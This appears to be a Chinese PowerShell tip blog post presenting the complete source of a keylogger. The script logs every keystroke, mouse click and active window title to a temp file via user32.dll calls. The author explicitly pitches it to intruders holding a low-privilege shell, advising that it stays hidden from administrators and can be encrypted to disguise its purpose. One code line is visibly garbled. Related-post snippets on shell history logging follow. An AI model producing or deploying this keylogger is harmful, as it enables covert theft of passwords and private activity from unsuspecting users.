PowerShell小技巧之定时记录操作系统行为

作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件。或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了。

可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候PowerShell这个vista及其之后Windows操作系统都自带的强大的命令行就有了用处,系统自带,不会被管理员发现异常,脚本不用编译,如果脚本内容再加个密,他们更猜不出是干什么用的,嘿嘿。如果要记录几个特性用于记录啥时候干了什么,无非要记录的有几样内容:操作,哪个文件或程序,时间。有这几个特点就基本上可以掌握用户的操作习惯了。
 
      代码不算太难就不逐句解释了,有啥问题的读者可以给我留言询问,基本上关键语句都有注释的。代码如下:

代码如下:

=====文件名:Get-TimedOperationRecord.ps1=====
function Get-TimedOperationRecord {
<#
    Author:fuhj(powershell#live.cn ,http://fuhaijun.com)
 Logs keys pressed, time and the active window.
.Parameter LogPath
    Specifies the path where pressed key details will be logged. By default, keystroke are logged to '$($Env:TEMP)\key.log'.
.Parameter CollectionInterval
    Specifies the interval in minutes to capture keystrokes. By default keystroke are captured indefinitely.
.Example
    Get-TimedOperationRecord -LogPath C:\key.log
.Example
    Get-TimedOperationRecord -CollectionInterval 20
#>
    [CmdletBinding()] Param (
        [Parameter(Position = 0)]
        [ValidateScript({Test-Path (Resolve-Path (Split-Path -Parent $_)) -PathType Container})]
        [String]
        $LogPath = "$($Env:TEMP)\key.log",

[Parameter(Position = 1)]
        [UInt32]
        $CollectionInterval
    )

$LogPath = Join-Path (Resolve-Path (Split-Path -Parent $LogPath)) (Split-Path -Leaf $LogPath)

Write-Verbose "Logging keystrokes to $LogPath"

$Initilizer = {
        $LogPath = 'REPLACEME'

'"TypedKey","Time","WindowTitle"' | Out-File -FilePath $LogPath -Encoding unicode

function KeyLog {
            [Reflection.Assembly]::LoadWithPartialName('System.Windows.Forms') | Out-Null

try
            {
                $ImportDll = [User32]
            }
            catch
            {
                $DynAssembly = New-Object System.Reflection.AssemblyName('Win32Lib')
                $AssemblyBuilder = [AppDomain]::CurrentDomain.DefineDynamicAssembly($DynAssembly, [Reflection.Emit.AssemblyBuilderAccess]::Run)
                $ModuleBuilder = $AssemblyBuilder.DefineDynamicModule('Win32Lib', $False)
                $TypeBuilder = $ModuleBuilder.DefineType('User32', 'Public, Class')

$DllImportConstructor = [Runtime.InteropServices.DllImportAttribute].GetConstructor(@([String]))
                $FieldArray = [Reflection.FieldInfo[]] @(
                    [Runtime.InteropServices.DllImportAttribute].GetField('EntryPoint'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('ExactSpelling'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('SetLastError'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('PreserveSig'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CallingConvention'),
                    [Runtime.InteropServices.DllImportAttribute].GetField('CharSet')
                )

$PInvokeMethod = $TypeBuilder.DefineMethod('GetAsyncKeyState', 'Public, Static', [Int16], [Type[]] @([Windows.Forms.Keys]))
                $FieldValueArray = [Object[]] @(
                    'GetAsyncKeyState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('GetKeyboardState', 'Public, Static', [Int32], [Type[]] @([Byte[]]))
                $FieldValueArray = [Object[]] @(
                    'GetKeyboardState',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('MapVirtualKey', 'Public,Static', [Int32], [Type[]] @([Int32], [Int32]))
                $FieldValueArray = [Object[]] @(
                    'MapVirtualKey',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PIn$PInvokeMethod = $TypeBuilder.DefineMethod('ToUnicode', 'Public, Static', [Int32],
                    [Type[]] @([UInt32], [UInt32], [Byte[]], [Text.StringBuilder], [Int32], [UInt32]))
                $FieldValueArray = [Object[]] @(
                    'ToUnicode',
                    $False,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

$PInvokeMethod = $TypeBuilder.DefineMethod('GetForegroundWindow', 'Public, Static', [IntPtr], [Type[]] @())
                $FieldValueArray = [Object[]] @(
                    'GetForegroundWindow',
                    $True,
                    $False,
                    $True,
                    [Runtime.InteropServices.CallingConvention]::Winapi,
                    [Runtime.InteropServices.CharSet]::Auto
                )
                $CustomAttribute = New-Object Reflection.Emit.CustomAttributeBuilder($DllImportConstructor, @('user32.dll'), $FieldArray, $FieldValueArray)
                $PInvokeMethod.SetCustomAttribute($CustomAttribute)

$ImportDll = $TypeBuilder.CreateType()
            }

Start-Sleep -Milliseconds 40

try
                {

#loop through typeable characters to see which is pressed
                    for ($TypeableChar = 1; $TypeableChar -le 254; $TypeableChar++)
                    {
                        $VirtualKey = $TypeableChar
                        $KeyResult = $ImportDll::GetAsyncKeyState($VirtualKey)

#if the key is pressed
                        if (($KeyResult -band 0x8000) -eq 0x8000)
                        {

#check for keys not mapped by virtual keyboard
                            $LeftShift    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LShiftKey) -band 0x8000) -eq 0x8000
                            $RightShift   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RShiftKey) -band 0x8000) -eq 0x8000
                            $LeftCtrl     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LControlKey) -band 0x8000) -eq 0x8000
                            $RightCtrl    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RControlKey) -band 0x8000) -eq 0x8000
                            $LeftAlt      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LMenu) -band 0x8000) -eq 0x8000
                            $RightAlt     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RMenu) -band 0x8000) -eq 0x8000
                            $TabKey       = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Tab) -band 0x8000) -eq 0x8000
                            $SpaceBar     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Space) -band 0x8000) -eq 0x8000
                            $DeleteKey    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Delete) -band 0x8000) -eq 0x8000
                            $EnterKey     = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Return) -band 0x8000) -eq 0x8000
                            $BackSpaceKey = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Back) -band 0x8000) -eq 0x8000
                            $LeftArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Left) -band 0x8000) -eq 0x8000
                            $RightArrow   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Right) -band 0x8000) -eq 0x8000
                            $UpArrow      = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Up) -band 0x8000) -eq 0x8000
                            $DownArrow    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::Down) -band 0x8000) -eq 0x8000
                            $LeftMouse    = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::LButton) -band 0x8000) -eq 0x8000
                            $RightMouse   = ($ImportDll::GetAsyncKeyState([Windows.Forms.Keys]::RButton) -band 0x8000) -eq 0x8000

if ($LeftShift -or $RightShift) {$LogOutput += '[Shift]'}
                            if ($LeftCtrl  -or $RightCtrl)  {$LogOutput += '[Ctrl]'}
                            if ($LeftAlt   -or $RightAlt)   {$LogOutput += '[Alt]'}
                            if ($TabKey)       {$LogOutput += '[Tab]'}
                            if ($SpaceBar)     {$LogOutput += '[SpaceBar]'}
                            if ($DeleteKey)    {$LogOutput += '[Delete]'}
                            if ($EnterKey)     {$LogOutput += '[Enter]'}
                            if ($BackSpaceKey) {$LogOutput += '[Backspace]'}
                            if ($LeftArrow)    {$LogOutput += '[Left Arrow]'}
                            if ($RightArrow)   {$LogOutput += '[Right Arrow]'}
                            if ($UpArrow)      {$LogOutput += '[Up Arrow]'}
                            if ($DownArrow)    {$LogOutput += '[Down Arrow]'}
                            if ($LeftMouse)    {$LogOutput += '[Left Mouse]'}
                            if ($RightMouse)   {$LogOutput += '[Right Mouse]'}

#check for capslock
                            if ([Console]::CapsLock) {$LogOutput += '[Caps Lock]'}

$MappedKey = $ImportDll::MapVirtualKey($VirtualKey, 3)
                            $KeyboardState = New-Object Byte[] 256
                            $CheckKeyboardState = $ImportDll::GetKeyboardState($KeyboardState)

#create a stringbuilder object
                            $StringBuilder = New-Object -TypeName System.Text.StringBuilder;
                            $UnicodeKey = $ImportDll::ToUnicode($VirtualKey, $MappedKey, $KeyboardState, $StringBuilder, $StringBuilder.Capacity, 0)

#convert typed characters
                            if ($UnicodeKey -gt 0) {
                                $TypedCharacter = $StringBuilder.ToString()
                                $LogOutput += ('['+ $TypedCharacter +']')
                            }

#get the title of the foreground window
                            $TopWindow = $ImportDll::GetForegroundWindow()
                            $WindowTitle = (Get-Process | Where-Object { $_.MainWindowHandle -eq $TopWindow }).MainWindowTitle

#get the current DTG
                            $TimeStamp = (Get-Date -Format dd/MM/yyyy:HH:mm:ss:ff)

#Create a custom object to store results
                            $ObjectProperties = @{'Key Typed' = $LogOutput;
                                                  'Window Title' = $WindowTitle;
                                                  'Time' = $TimeStamp}
                            $ResultsObject = New-Object -TypeName PSObject -Property $ObjectProperties
                            $CSVEntry = ($ResultsObject | ConvertTo-Csv -NoTypeInformation)[1]
                            #return results
                            Out-File -FilePath $LogPath -Append -InputObject $CSVEntry -Encoding unicode

}
                    }
                }
                catch {}
            }
        }

$Initilizer = [ScriptBlock]::Create(($Initilizer -replace 'REPLACEME', $LogPath))

Start-Job -InitializationScript $Initilizer -ScriptBlock {for (;;) {Keylog}} -Name Keylogger | Out-Null

if ($PSBoundParameters['CollectionInterval'])
    {
        $Timer = New-Object Timers.Timer($CollectionInterval * 60 * 1000)

Register-ObjectEvent -InputObject $Timer -EventName Elapsed -SourceIdentifier ElapsedAction -Action {
            Stop-Job -Name Keylogger
            Unregister-Event -SourceIdentifier ElapsedAction
            $Sender.Stop()
        } | Out-Null
    }
}

执行方式如下图所示:

执行效果,会在指定的目录里生成log文件,内容如下图所示:

能够看到里面相关的击键动作,有兴趣的读者可以猜一下,这段被记录的操作都干了什么,期间腾讯还推了一次弹窗新闻,无耻啊。

(0)

相关推荐

  • Powershell小技巧之记录脚本的操作

    你可能知道在PS控制台(不是ISE编辑器),你可以打开脚本日志" 复制代码 代码如下: PS> Start-Transcript 你将记录所有输入的命令和所有的结果到这个文件.不幸的是它虽然运行在脚本中,但你不能准确看到脚本命令. 这里有一个在你脚本执行时记录全部命令方法.在你尝试这个方法之前,你可能会意识到这将增大日志文件的大小和降低脚本执行速度,因为在这个循环中,中间的迭代也将被记录. 下面命令将打开全部脚本的日志: 复制代码 代码如下: PS> Set-PSDebug -Tra

  • shell将脚本输出结果记录到日志文件的实现

    使用tee命令: sh portal/main.sh |tee log.txt 获取脚本父类路径 cmddir="`dirname $0`" 以上这篇shell将脚本输出结果记录到日志文件的实现就是小编分享给大家的全部内容了,希望能给大家一个参考,也希望大家多多支持我们.

  • linux中 shell 历史命令记录功能

    在 Linux 下面可以使用 history 命令查看用户的所有历史操作,同时 shell 命令操作记录默认保存在用户目录的 .bash_history 文件中.通过这个文件可以查询 shell 命令的执行历史,有助于运维人员进行系统审计和问题排查,同时在服务器遭受黑客攻击后,也可以查询黑客登录服务器的历史命令操作.但是黑客在入侵后,为了抹除痕迹,会删除 .bash_history 文件,这个就需要合理备份这个文件了. 默认的 history 命令只能查看用户的历史操作记录,但是不能区分每个用户

  • PowerShell时间记录脚本

    #initialization $timeInterval = 30 #监测间隔 $record = @{"Coding" = 0; "Outlook Email" = 0; "Gmail" = 0; "Google Reader" = 0; "BBS" = 0; "Other Internet" = 0; "Documents" = 0;} $count = 0 $

  • shell如何记录用户的IP与命令详解

    记录输入的命令 history命令可以查看用户输入过的命令,一个典型history命令输出如下: 980 2017-05-29 20:17:37 cd - 981 2017-05-29 20:17:41 cat index.html 982 2017-05-29 20:20:11 vim index.html 983 2017-05-29 20:39:18 cd - 984 2017-05-29 20:39:25 cd /var/log/nginx/ 985 2017-05-29 20:39:2

  • 用来记录登录后使用命令的shell脚本

    复制代码 代码如下: #/bin/bash# history#把以下代码直接粘贴到/etc/profile后USER_IP=`who -u am i 2>/dev/null| awk '{print $NF}'|sed -e 's/[()]//g'`HISTDIR=/var/log/.histif [ -z $USER_IP  ]then  USER_IP=`hostname`fiif [ ! -d $HISTDIR ]then   mkdir -p $HISTDIR   chmod 777 $

  • Powershell小技巧之用变量累积记录错误

    当你使用GC查询文件时,当你没有足够的权限你可能会错过不少错误.你可以使用"–ErrorAction SilentlyContinue"忽略这些错误. 有一个不错的方法来获取这些错误. 我们在Windows目录中查询所有PS脚本文件,将它的文件保存在$PSScripts,同时将错误日志记录在变量ErrorList中: 复制代码 代码如下: $PSScripts = Get-ChildItem -Path c:\windows -Filter *.ps1 -Recurse -ErrorA

  • PowerShell小技巧之定时记录操作系统行为

    作为系统管理员,有些时候是需要记录系统中的其他用户的一些操作行为的,例如:当系统管理员怀疑系统存在漏洞,且已经有被植入后门或者创建隐藏账户时,就需要对曾经登陆的用户进行监控,保存其打开或者操作过的文件.或者在另外一个场景,当黑客拿下一个普通权限的shell之后,想看看最近有哪些用户登陆过,操作过什么,以便根据用户习惯采取进一步行动获取更高权限,这个时候记录用户行为就显得很重要了. 可能有读者觉得此时安装个监控软件不就行了么,拜托,你入侵别人的系统,你装个监控软件,你把管理员试做无物么?这个时候P

  • PowerShell小技巧之定时抓取屏幕图像

    昨天的博文写了定时记录操作系统行为,其实说白了就是抓取了击键的记录和对应窗口的标题栏,而很多应用程序标题栏又包含当时记录的文件路径和文件名,用这种方式可以大致记录操作了哪些程序,打开了哪些文件,以及敲击了哪些按键.事实上这样记录操作系统的行为显得相对单薄一点,因为记录的内容不太形象,对于新手来说太过于隐晦了,对于人类来说,图像会比文字更加有利于用户理解.当操作系统不方便装屏幕记录软件,但又需要看已经登录用户在干什么的时候,用PowerShell的脚本来实现定时抓取图像的方式记录操作,查看图像就知

  • PowerShell小技巧之获取域名whois信息

    Whois 简单来说,就是一个用来查询域名是否已经被注册,以及注册域名的详细信息的数据库(如域名所有人.域名注册商.域名注册日期和过期日期等).通过域名Whois服务器查询,可以查询域名归属者联系方式,以及注册和到期时间.通常情况下,whois信息均为真实信息,通过whois信息可以找到域名注册人的很多真实信息,像电话,邮箱,NS记录,是对网站进行社工非常好的信息来源,对于安全从业人员来说,快速获取whois信息,能够帮助自己掌握目标网站的很多有用信息. 而whois信息通常是保存在各级域名注册

  • Powershell小技巧之获取MAC地址

    在Powershell中获取MAC地址不是很难.这里就有一种方法: 复制代码 代码如下: PS> getmac /FO CSV | ConvertFrom-Csv Physical Address                        Transport Name                         ----------------                        --------------                         5C-51-4F-6

  • Powershell小技巧之使用Jint引擎在PowerShell中执行Javascript函数

    这里演示如何利用PowerShell将一段Javascript函数字符串交给Jint引擎去执行. 执行Javascript函数 .Net版的Javascript解释器 可以从Git上获取Jint的代码,也可以从nuget上下载Jint的程序集. Jint是一个面向.Net的Javascript解释器.Jint不会把Javascript编译成.Net字节码,所以它非常适用于脚本小且运行起来速度快的工程,或者运行在不同平台上的脚本. PowerShell调用 拿到Dll根据-Path参数直接使用Ad

  • Powershell小技巧之获取当前的时间并转换为时辰

    午时三刻已到,行刑,刀下留人,现在到底是不是午时,能否让PowerShell告诉我呢? 好的, 没问题.从晚上23点到凌晨2点之间属于子时,每两个小时一个时辰,依次为"子丑寅卯辰巳午未申酉戌亥". 函数获取当前时辰 用PowerShell脚本实现: function Get-ChinaTimeAlias { param( [ValidateRange(0,23)] [int]$Hour = (get-date).Hour ) $timeAliasArray='子丑寅卯辰巳午未申酉戌亥'

  • Powershell小技巧之查询AD用户

    假若你登录到了一个AD中你可以轻松的查询AD目录.在先前的技巧中我们阐述了一个基本脚本.这里有一个可以自定义根目录的扩展方法(设置你的查询点),它支持同步查询(而不是递归到一个容器). 它同时也阐述了怎么从一个活动目录查找结果再将其转化成用户对象: $SAMAccountName = 'tobias' $SearchRoot = 'LDAP://OU=customer,DC=company,DC=com' $SearchScope = 'OneLevel' $ldap = "(&(obj

  • PowerShell小技巧之查找获取注册表路径

    在先前的技巧中我们说明如何将一个PS内置的路径格式转化成一个实际路径.这里介绍了一个例子.这段代码递归从HKEY_CURRENT_USER获取所有包含"powershell"词缀的键(简单的替换查询词缀将能获得你想要查询的任何东西) 复制代码 代码如下: Get-ChildItem -Path HKCU:\ -Include *PowerShell* -Recurse -ErrorAction SilentlyContinue|Select-Object -Property *Path

随机推荐